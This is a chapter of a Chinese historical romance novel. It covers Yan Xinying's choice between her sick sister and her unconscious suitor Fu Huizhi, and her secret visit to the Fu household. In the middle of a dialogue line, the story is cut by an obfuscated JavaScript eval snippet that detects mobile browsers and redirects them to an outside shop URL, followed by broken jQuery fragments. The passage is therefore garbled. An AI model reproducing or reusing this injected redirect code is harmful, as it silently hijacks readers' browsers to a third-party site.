29. 第29章
    言心莹再迈不出一步。

    言照玉也知不必拦了,后退两步:“我不妨再告诉你一件事。傅时文与傅老夫人所患病同,如今傅徽之也染上此病,命亦不久。”

    言心莹方寸大乱。听到的消息一个比一个令人难以置信。简直太荒谬了,这些事怎么可能同时发生?要她怎么接受?一定有什么事是假的。

    “不会的,不会的。”言心莹摇头,“你胡说!”

    “我胡说?”言照玉冷笑一声,“你不如去街上拦个长舌妇问问。”

    “不会的。”言心莹又往外去。

    言照玉不再去拦,只高声道:“你要为一个外人,置你阿姐于不顾么?”

    言心莹果真又停步。

    言照玉走到她面前:“眼下阿姐与傅徽之你只能选一个。我倒要看看你会怎么选。看阿姐是不是白疼你了!”

    言心莹抱着头不断后退:“别逼我了……”

    言照玉高声问:“你要去傅府还是琅琊?”

    “别逼我……”

    “说啊!”

    梅英忍不住劝道:“郎君,给娘子一些时间罢。”

    言照玉怒道:“你住口!”

    忽闻另一人的语声:“阿莹回来了。”

    辨出是邱淑的声音,言心莹忙抬手拭泪。

    邱淑近前看了眼二人,而后问言照玉:“阿玉,你与阿莹争什么呢?”

    言照玉道:“娘,没什么。”

    言心莹也转身唤一声人。邱淑双眼通红,明显刚哭过。那言心若病重的事便不大可能是假的。

    邱淑道:“阿莹回来得正好。阿若病重,你父兄官职在身,无法离京。你速与娘去琅琊,即刻动身。”

    言心莹道:“阿娘,你先去收拾罢。我与阿兄说几句话。”

    邱淑看看她,又看看言照玉,没说什么,转身走了。

    看着邱淑走远,言心莹道:“阿兄,我得去傅府看他一眼。”

    言照玉冷声道:“你看他一眼,他的病便能好了么?”

    “他既病得很重,我不去看一眼,如何能放心地去琅琊?”

    言照玉忿忿道:“阿姐也病得很重!你多耽搁一刻,阿姐便……”他说不下去了。

    言心莹轻声道:“我知道……”

    言照玉不放过她,继续道:“你知道阿姐的性子,不到万不得已,她不会写信来。阿姐远嫁之后,你去看过她几回?如今她病重,你还要……”

    “我知道!”言心莹近崩溃边缘,听不下去他的话,声音也控制不住越来越高,“我知道,我都知道!”

    她抓住言照玉的双臂,死死盯着他:“阿兄,给我一个时辰。”她又摇头,“不不,半个时辰,我只要半个时辰。你让我去看看他。”

    言照玉见她双目含泪、几近癫狂的模样,终是不忍心。他叹一声:“他有父兄,你以什么身份去看他?”

    言心莹怔了怔,道:“朋友……”

    言照玉微微颔首:“好,朋友。作为朋友去看一眼也是应该的。我只给你一个时辰。”

    言心莹没听完话就松了手往外跑。

    言照玉忽又道:“等等。”

    言心莹转身,有些茫然。

    “你要走过去?”言照玉吩咐防阁,“将我的马牵过来。”

    “还有。”言照玉又想起什么,对梅英道,“梅英拿个帷帽来,还有覆面白巾。”

    言心莹不知道要准备这么周全做什么,但她不想细想。

    言照玉又开口:“我让车夫将马车停在崇仁坊北门。你出傅府时走后门,再去坊北找阿娘。路上所用我会让梅英收拾好。”

    戴帷帽倒没什么,非要走后门便奇怪了。言心莹不由问道:“为何?”

    “别问那么多了,照做便是。你就当见傅徽之最后一面罢。见他之后,早些断了念想。”

    言心莹不敢反驳什么。她怕再开口,言照玉连傅府都不让她去了。

    秋芙到傅府时,看见府中竟已挂起了丧幡,心道终是晚了一步。

    她下马,春松正坐在石阶上抹眼泪,她便伸手抚了抚春松的肩。

    春松看见她,哭着说道:“秋芙,二公子去了,三公子也不成了……”

    秋芙急道:“三公子怎么了?”

    她离府时傅时文状况便很差,如今傅时文病故她并没有多意外。可傅徽之为何会不成了,纵是伤心,也不至于此啊。

    春松道:“昏迷四五日了,总是不醒,吃不进去东西……”

    没等春松说完,秋芙便匆匆进门。她径直去了傅徽之的屋子,推门进去。

    傅卫、傅知退与甄启玄都在。她恭敬地行礼:“阿郎、大公子、先生。”

    他们看她一眼,便又转过头。

    傅徽之躺在榻上,甄启玄正为他诊脉。片刻后甄启玄收手。

    傅卫忙问:“先生,云卿如何了?为何迟迟不醒?”

    甄启玄道:“三公子昏迷半是因着日夜不休赶路所累,半是因着二公子辞世悲痛太过。可至多两三日,便该醒了。”

    傅知退忽然道:“先生,难道云卿也与子卿染了同病?”

    甄启玄摇头:“非也。不过今虽无病状,日后也要留心。夫人与二公子因此病辞世,大公子与三公子皆要小心。所幸二公子留有一子,而非一女,否则今后必也患病。大公子有一女,若公子无病最好,否则……”

    傅知退道:“我明白。”

    傅卫重重叹一声:“这整日只能灌些水,吃不进东西,这样下去怎么行啊。先生还有别的法子么?”

    甄启玄道:“今药石针刺皆无用,只能是心病了。老夫只医得身病医不得心病。”他摇摇头,又望向傅徽之,“多与三公子说说话罢。若他对人世还有依恋,合该醒来才是。”

    最后甄启玄起身:“如若不然,性命便在这两日间了。”

    傅卫闻言两眼一翻,身子后仰,差些昏过去。傅知退眼疾手快,扶住了他。

    甄启玄道:“国公保重。”说罢离去。

    傅卫又盯着幼子看了半晌,而后道:“我没事,我没事。”

    他挣开傅知退的手,拄着竹杖,步履蹒跚地往屋外走。

    傅知退看着父亲的背影,也是心酸不已。这几日傅卫像是一下苍老了二十岁。不久之前还要从他黑发中挑白发,现下他发根几乎全白了。背脊也深深弯下去。

    傅知退转身坐回榻前,握住傅徽之的手。

    屋中已烧了几个火炉,傅徽之身上也盖着厚厚的被衾,可他的手还是冷,便如临去时的傅时文一般。

    傅知退握着他的手捂了很久,方开口:“云卿,我知道你与子卿感情最深。他去了,你舍不得。可是你连爹和大哥也不要了么?还有你心悦的女子……”

    秋芙忍着泪水。一定还会有法子的。甄启玄不能治,总有人能治。对了,去寻太医。甄启玄不是认识太医么?她赶紧追出去。春松急急忙忙地进屋,她也无暇去顾。

    春松对傅知退说道:“公子,门外有一戴帷帽的女子求见。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086061|149279||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    傅知退问:“可有名刺。”

    “没有。”

    “所为何事?”

    “也未曾说。她指名要见公子。”

    傅知退将傅徽之的手放回被衾中:“你守着云卿。我去见见。”

    言心莹立在傅府外等。

    言照玉将她放下后便离开了。言照玉还嘱咐她入府后才能摘帷帽、通姓名,她只是照做,无暇细想。

    不久,傅知退出府门:“不知女郎是谁,寻傅某何事?”

    言心莹行礼道:“公子可否先允我入内。”

    傅知退略一思索,让开道:“女郎请。”

    看着府门合上,言心莹才摘下帷帽:“言雪见过傅公子。”

    傅知退还礼道:“原是言家女郎。此来为何?”

    “我想见见三公子。”

    傅知退蹙眉:“舍弟病重,不宜见人。”

    言心莹急道:“我不会久待。只看他一眼,绝不惊醒他。”

    傅知退沉默片刻,转身:“请随我来。”

    “多谢公子。”言心莹跟着傅知退走,又问,“不知三公子所患何病?”

    傅知退叹息道:“心病。他二哥去了,他伤心,不愿醒来。”

    言心莹不由松口气。看来言照玉也是听的传言,还好传言为假。她觉得心病总比身病好医。

    傅知退又道:“女郎来了也好,与他说说话罢。”

    说话间便走到了。傅知退推开门:“春松出来。”又对言心莹道,“女郎进去罢。”

    言心莹踏进去,看着春松出门后顺手合上了屋门,便去榻前坐了。

    前后不过数日,傅徽之竟消瘦至此,面色也惨白。

    言心莹将手伸进锦衾,去摸他的手,惊觉他的手在锦衾中还是凉的。虽是冬日,屋内却燃了好几个火炉。她进门时便觉出暖,不想傅徽之的手还是如此冰凉。

    看着不久前还意气风发的少年变成如此模样,她心里不是滋味。

    凝视他半晌,言心莹方开口:“云卿,我知道你二哥是你最依赖的人。他去了,你心痛、悔恨。可若你二哥见到你如此模样,他也不能安心的。你还有很多事没做,你得为你二哥守孝,你还答应过我要定下婚期。你先守孝,守孝多久都行。成婚不急,我可以等。但你要活下去,才能做这些事,你不能食言。

    “我阿姐也病了。我要出京去看她,可能数月回不来。但我相信我阿姐的病会好的,你也会好。等我回京时,我们定要再见好么?”

    傅徽之自然不能应她。但她又自觉不能就这样走了。最好留下一封书信,否则傅徽之醒了寻不到她难免心急。

    她四下顾盼,看见案上的纸笔,想着还是先问过再用为好。

    她将傅徽之的手放回去,又将锦衾往傅徽之脖颈拉了拉,才转身开了屋门。

    傅知退立在阶下,闻声转头。

    言心莹道:“公子,可否借纸笔一用?”

    傅知退道:“云卿屋中便有,女郎请便。”

    言心莹便又去屋中写了一纸书信带出来,对傅知退说道:“近日我不得已要出京数月。三公子醒后,还请公子将信转交于他。”

    傅知退接过信,小心置于怀中,应道:“好。女郎放心。”

    言心莹道:“多谢。我这便告辞了,不知可否从后门出?”

    傅知退没有多问,吩咐春松引她去了后门。

    出门前,言心莹又戴上帷帽,而后一路疾行到坊北门,上了自家的马车而去。